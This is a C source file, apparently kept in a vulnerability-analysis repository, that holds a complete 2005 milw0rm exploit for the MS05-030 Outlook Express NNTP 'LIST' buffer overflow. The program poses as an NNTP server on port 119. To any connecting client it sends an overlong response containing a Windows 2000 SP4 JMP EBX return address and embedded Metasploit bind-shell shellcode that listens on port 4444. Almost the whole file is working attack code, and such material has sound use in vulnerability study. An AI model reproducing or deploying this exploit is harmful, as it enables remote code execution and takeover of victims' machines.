lilbool/vuln-code-analysis

1#include <winsock2.h>

2#include <windows.h>

3#include <stdio.h>

4#include <stdlib.h>

5#pragma comment(lib,"ws2_32")

6

7/* win32_bind - EXITFUNC=process LPORT=4444 Size=344 

8Encoder=PexFnstenvSub http://metasploit.com */

9unsigned char scode[] =

10"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x96"

11"\x27\xc8\x3e\x83\xeb\xfc\xe2\xf4\x6a\x4d\x23\x73\x7e\xde\x37\xc1"

12"\x69\x47\x43\x52\xb2\x03\x43\x7b\xaa\xac\xb4\x3b\xee\x26\x27\xb5"

13"\xd9\x3f\x43\x61\xb6\x26\x23\x77\x1d\x13\x43\x3f\x78\x16\x08\xa7"

14"\x3a\xa3\x08\x4a\x91\xe6\x02\x33\x97\xe5\x23\xca\xad\x73\xec\x16"

15"\xe3\xc2\x43\x61\xb2\x26\x23\x58\x1d\x2b\x83\xb5\xc9\x3b\xc9\xd5"

16"\x95\x0b\x43\xb7\xfa\x03\xd4\x5f\x55\x16\x13\x5a\x1d\x64\xf8\xb5"

17"\xd6\x2b\x43\x4e\x8a\x8a\x43\x7e\x9e\x79\xa0\xb0\xd8\x29\x24\x6e"

18"\x69\xf1\xae\x6d\xf0\x4f\xfb\x0c\xfe\x50\xbb\x0c\xc9\x73\x37\xee"

19"\xfe\xec\x25\xc2\xad\x77\x37\xe8\xc9\xae\x2d\x58\x17\xca\xc0\x3c"

20"\xc3\x4d\xca\xc1\x46\x4f\x11\x37\x63\x8a\x9f\xc1\x40\x74\x9b\x6d"

21"\xc5\x74\x8b\x6d\xd5\x74\x37\xee\xf0\x4f\xd9\x62\xf0\x74\x41\xdf"

22"\x03\x4f\x6c\x24\xe6\xe0\x9f\xc1\x40\x4d\xd8\x6f\xc3\xd8\x18\x56"

23"\x32\x8a\xe6\xd7\xc1\xd8\x1e\x6d\xc3\xd8\x18\x56\x73\x6e\x4e\x77"

24"\xc1\xd8\x1e\x6e\xc2\x73\x9d\xc1\x46\xb4\xa0\xd9\xef\xe1\xb1\x69"

25"\x69\xf1\x9d\xc1\x46\x41\xa2\x5a\xf0\x4f\xab\x53\x1f\xc2\xa2\x6e"

26"\xcf\x0e\x04\xb7\x71\x4d\x8c\xb7\x74\x16\x08\xcd\x3c\xd9\x8a\x13"

27"\x68\x65\xe4\xad\x1b\x5d\xf0\x95\x3d\x8c\xa0\x4c\x68\x94\xde\xc1"

28"\xe3\x63\x37\xe8\xcd\x70\x9a\x6f\xc7\x76\xa2\x3f\xc7\x76\x9d\x6f"

29"\x69\xf7\xa0\x93\x4f\x22\x06\x6d\x69\xf1\xa2\xc1\x69\x10\x37\xee"

30"\x1d\x70\x34\xbd\x52\x43\x37\xe8\xc4\xd8\x18\x56\xe8\xff\x2a\x4d"

31"\xc5\xd8\x1e\xc1\x46\x27\xc8\x3e";

32

33struct

34{

35DWORD dwJMPEBX;

36char *szDescription;

37}targets[] = 

38{

39{0x7803382b, "win2k sp4 all language"}

40},v;

41

42void usage(char *p)

43{

44int i;

45printf( "Usage: %s <type>\n"

46"[type]\n", p);

47for(i=0;i<sizeof(targets)/sizeof(v);i++)

48{

49printf("%d\t%s\n", i, targets[i].szDescription);

50}

51}

52

53void main(int argc, char **argv)

54{

55struct sockaddr_in server,client;

56WSADATA wsd;

57SOCKET s2,s3;

58int ret;

59char szRecvBuff[0x100];

60char szSend[] = "200\r\n";

61int i,iType;

62char szEvil[0x3000], szTmp[0x10];

63

64printf( "MS OE NNTP \"LIST\" Buffer Overflow (MS05-030) EXP\n"

65"Credits: Bug found by iDEFENSE\n"

66"coded by eyas < eyas at xfocus.org>\n"

67"http://www.xfocus.net\n\n");

68

69if(argc!=2)

70{

71usage(argv[0]);

72return;

73}

74

75iType = atoi(argv[1]);

76

77

78if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)

79{

80printf("[-] WSAStartup error:%d\n", WSAGetLastError());

81return;

82}

83s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

84server.sin_family = AF_INET;

85server.sin_port = htons(119);

86server.sin_addr.s_addr= 0;

87ret = bind(s2, (struct sockaddr *)&server, sizeof(server));

88ret = listen(s2, 100);

89printf("[+] Listen on TCP 119.\n");

90while(1)

91{

92ret=sizeof(client);

93s3 = accept(s2, (struct sockaddr *)&client, &ret);

94printf("[+] Connection accepted from %s:%d\n", 

95inet_ntoa(client.sin_addr), ntohs(client.sin_port));

96

97printf("[+] Send welcome information.\n");

98send(s3, szSend, strlen(szSend), 0);

99

100ret = recv(s3, szRecvBuff, sizeof(szRecvBuff), 0);

101szRecvBuff[ret-1] = '\x0';

102printf("[+] Recv: [%s]\n", szRecvBuff);

103send(s3, szSend, strlen(szSend), 0);

104printf("[+] Send response.\n");

105

106ret = recv(s3, szRecvBuff, sizeof(szRecvBuff), 0);

107szRecvBuff[ret-4] = '\x0';

108printf("[+] Recv: [%s]\n", szRecvBuff);

109printf("[+] send evil buff.\n");

110

111strcpy(szTmp, "\xEB\x06\xEB\x06");

112memcpy(&szTmp[4], &(targets[iType].dwJMPEBX),4);

113szTmp[8]='\x0';

114strcpy(szEvil, "215 list\r\ngroup aaaa");

115//for(i=0;i<0x2598;i++)

116//for(i=0;i<0x30;i++)

117for(i=0;i<0x2598+0x200;i+=8)

118strcat(szEvil, szTmp);

119strcat(szEvil, (char *)scode);

120strcat(szEvil, " 1 y\r\n.\r\n");

121send(s3, szEvil, strlen(szEvil), 0);

122Sleep(1000);

123closesocket(s3);

124printf("[+] close connection\n");

125}

126

127WSACleanup();

128return;

129}

130

131// milw0rm.com [2005-06-24]